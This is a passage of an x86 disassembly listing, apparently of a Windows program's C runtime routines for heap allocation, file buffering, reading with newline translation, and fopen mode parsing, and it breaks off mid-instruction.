loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE70 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE70, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE50 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 2660C1Bh nop cmp eax, esi jnz loc_41F70F push 0 push [ebp+var_8] push esi call sub_41BF70 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE70, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE70, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; =============== S U B R O U T I N E ======================================= sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p ; sub_41C52F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F9B7 test al, 40h jnz loc_41F9B7 test al, 2 jz short loc_41F909 or al, 20h mov [esi+0Ch], eax jmp loc_41F9B7 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F8E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F91D push esi call sub_4241F7 pop ecx jmp short loc_41F922 ; --------------------------------------------------------------------------- loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F922: ; CODE XREF: sub_41F8E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F9A6 cmp eax, 0FFFFFFFFh jz short loc_41F9A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F97B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F964 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DD040[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F969 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8E3+6Bj mov edi, offset dword_43D4D0 loc_41F969: ; CODE XREF: sub_41F8E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F97B or dh, 20h mov [esi+0Ch], edx loc_41F97B: ; CODE XREF: sub_41F8E3+62j ; sub_41F8E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F998 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F998 test ch, 4 jnz short loc_41F998 mov dword ptr [esi+18h], 1000h loc_41F998: ; CODE XREF: sub_41F8E3+9Fj ; sub_41F8E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8E3+55j ; sub_41F8E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj ; sub_41F8E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F8E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p ; sub_41F8E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DD140 jnb loc_41FB99 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DD040h[eax*4] mov eax, dword_4DD040[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FB99 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41FA71 test dl, 2 jnz short loc_41FA71 test dl, 48h jz short loc_41FA31 mov al, [eax+5] cmp al, 0Ah jz short loc_41FA31 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41FA31: ; CODE XREF: sub_41F9BC+56j ; sub_41F9BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 27010AAh test eax, eax jnz short loc_41FA84 nop call near ptr 26908B8h push 5 pop ecx cmp eax, ecx jnz short loc_41FA6C mov dword_4DBDDC, 9 mov dword_4DBDE0, ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA6C: ; CODE XREF: sub_41F9BC+99j cmp eax, 6Dh jnz short loc_41FA78 loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj ; sub_41F9BC+51j xor eax, eax jmp loc_41FBAD ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9BC+B3j push eax call sub_420C7F pop ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FB94 test edx, edx jz short loc_41FAA9 cmp byte ptr [edi], 0Ah jnz short loc_41FAA9 or al, 4 jmp short loc_41FAAB ; --------------------------------------------------------------------------- loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j ; sub_41F9BC+E7j and al, 0FBh loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FB8E loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FB7E cmp al, 0Dh jz short loc_41FADF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FB70 ; --------------------------------------------------------------------------- loc_41FADF: ; CODE XREF: sub_41F9BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FAFD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FAF4 add [ebp+arg_8], 2 jmp short loc_41FB52 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F9BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F9BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 27010AAh nop test eax, eax jnz short loc_41FB25 nop call near ptr 26908B8h test eax, eax jnz short loc_41FB6C loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj cmp [ebp+var_C], 0 jz short loc_41FB6C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FB47 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FB52 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F9BC+176j cmp edi, [ebp+arg_4] jnz short loc_41FB57 cmp [ebp+var_1], 0Ah jnz short loc_41FB57 loc_41FB52: ; CODE XREF: sub_41F9BC+136j ; sub_41F9BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FB6F ; --------------------------------------------------------------------------- loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej ; sub_41F9BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422F09 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FB70 loc_41FB6C: ; CODE XREF: sub_41F9BC+167j ; sub_41F9BC+16Dj mov byte ptr [edi], 0Dh loc_41FB6F: ; CODE XREF: sub_41F9BC+199j inc edi loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej ; sub_41F9BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FAC3 jmp short loc_41FB8E ; --------------------------------------------------------------------------- loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FB8E or al, 2 mov [esi], al loc_41FB8E: ; CODE XREF: sub_41F9BC+101j ; sub_41F9BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FB94: ; CODE XREF: sub_41F9BC+DAj mov eax, [ebp+var_8] jmp short loc_41FBAD ; --------------------------------------------------------------------------- loc_41FB99: ; CODE XREF: sub_41F9BC+12j ; sub_41F9BC+39j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj ; sub_41F9BC+C3j or eax, 0FFFFFFFFh loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j ; sub_41F9BC+1DBj pop edi pop esi pop ebx leave retn sub_41F9BC endp ; =============== S U B R O U T I N E ======================================= sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p ; sub_41BBE2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DBE44 test eax, eax jz short loc_41FBCA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FBCA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FBCA: ; CODE XREF: sub_41FBB2+7j ; sub_41FBB2+12j xor eax, eax retn sub_41FBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBFB0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FC06 cmp al, 72h jz short loc_41FBFF cmp al, 77h jnz loc_41FD1A mov ecx, 301h jmp short loc_41FC0B ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FBCD+21j xor ecx, ecx or esi, 1 jmp short loc_41FC0E ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj mov ecx, 109h loc_41FC0B: ; CODE XREF: sub_41FBCD+30j or esi, 2 loc_41FC0E: ; CODE XREF: sub_41FBCD+37j push 1 pop edx loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj ; sub_41FBCD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FD00 cmp edx, ebx jz loc_41FD00 movsx eax, al cmp eax, 54h jg short loc_41FC9F jz short loc_41FC8F sub eax, 2Bh jz short loc_41FC79 sub eax, 19h jz short loc_41FC6F sub eax, 0Eh jz short loc_41FC5A dec eax jnz loc_41FCF1 cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj test cl, 40h jnz short loc_41FCF1 or ecx, 40h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC79: ; CODE XREF: sub_41FBCD+65j test cl, 2 jnz short loc_41FCF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC8F: ; CODE XREF: sub_41FBCD+60j mov eax, 1000h test ecx, eax jnz short loc_41FCF1 or ecx, eax jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej sub eax, 62h jz short loc_41FCEC dec eax jz short loc_41FCD5 sub eax, 0Bh jz short loc_41FCBE sub eax, 6 jnz short loc_41FCF1 test ch, 0C0h jnz short loc_41FCF1 or ch, 40h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j test ch, 0C0h jz short loc_41FCF8 loc_41FCF1: ; CODE XREF: sub_41FBCD+72j ; sub_41FBCD+7Bj ... xor edx, edx jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FBCD+122j or ch, 80h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj ; sub_41FBCD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42423B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FD1E loc_41FD1A: ; CODE XREF: sub_41FBCD+25j xor eax, eax jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj mov eax, [ebp+arg_C] inc dword_4DBFAC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj pop edi pop esi pop ebx leave retn sub_41FBCD endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41BE82p mov edx, dword_4DD020 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FDAE mov ebx, dword_4DC01C mov edi, ebx loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FD74 test byte ptr [ecx+0Ch], 83h jz short loc_41FD6F inc eax add edi, 4 cmp eax, edx jl short loc_41FD59 jmp short loc_41FDAE ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FD3D+26j mov esi, [ebx+eax*4] jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD74: ; CODE XREF: sub_41FD3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BEB5 pop ecx mov ecx, dword_4DC01C mov [edi+ecx], eax mov eax, dword_4DC01C mov edi, [edi+eax] cmp edi, ebp jz short loc_41FDAE mov esi, edi loc_41FD98: ; CODE XREF: sub_41FD3D+35j cmp esi, ebp jz short loc_41FDAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FDAE: ; CODE XREF: sub_41FD3D+12j ; sub_41FD3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p ; sub_41C0CE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FDD3 mov ecx, off_43CE78 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FE25 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41FDB5+10j mov ecx, eax push esi mov esi, off_43CE78 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FDF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDF8: ; CODE XREF: sub_41FDB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FE01: ; CODE XREF: sub_41FDB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4244F4 add esp, 1Ch test eax, eax jnz short loc_41FE21 leave retn ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FDB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE2A proc near ; CODE XREF: sub_41C266+46p ; sub_41C360+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FF33 test al, 40h jnz loc_41FF33 test al, 1 jz short loc_41FE62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FF33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FE62: ; CODE XREF: sub_41FE2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FE9C cmp esi, offset dword_43D588 jz short loc_41FE8A cmp esi, offset dword_43D5A8 jnz short loc_41FE95 loc_41FE8A: ; CODE XREF: sub_41FE2A+56j push ebx call sub_42463D test eax, eax pop ecx jnz short loc_41FE9C loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej push esi call sub_4241F7 pop ecx loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej ; sub_41FE2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FF09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, 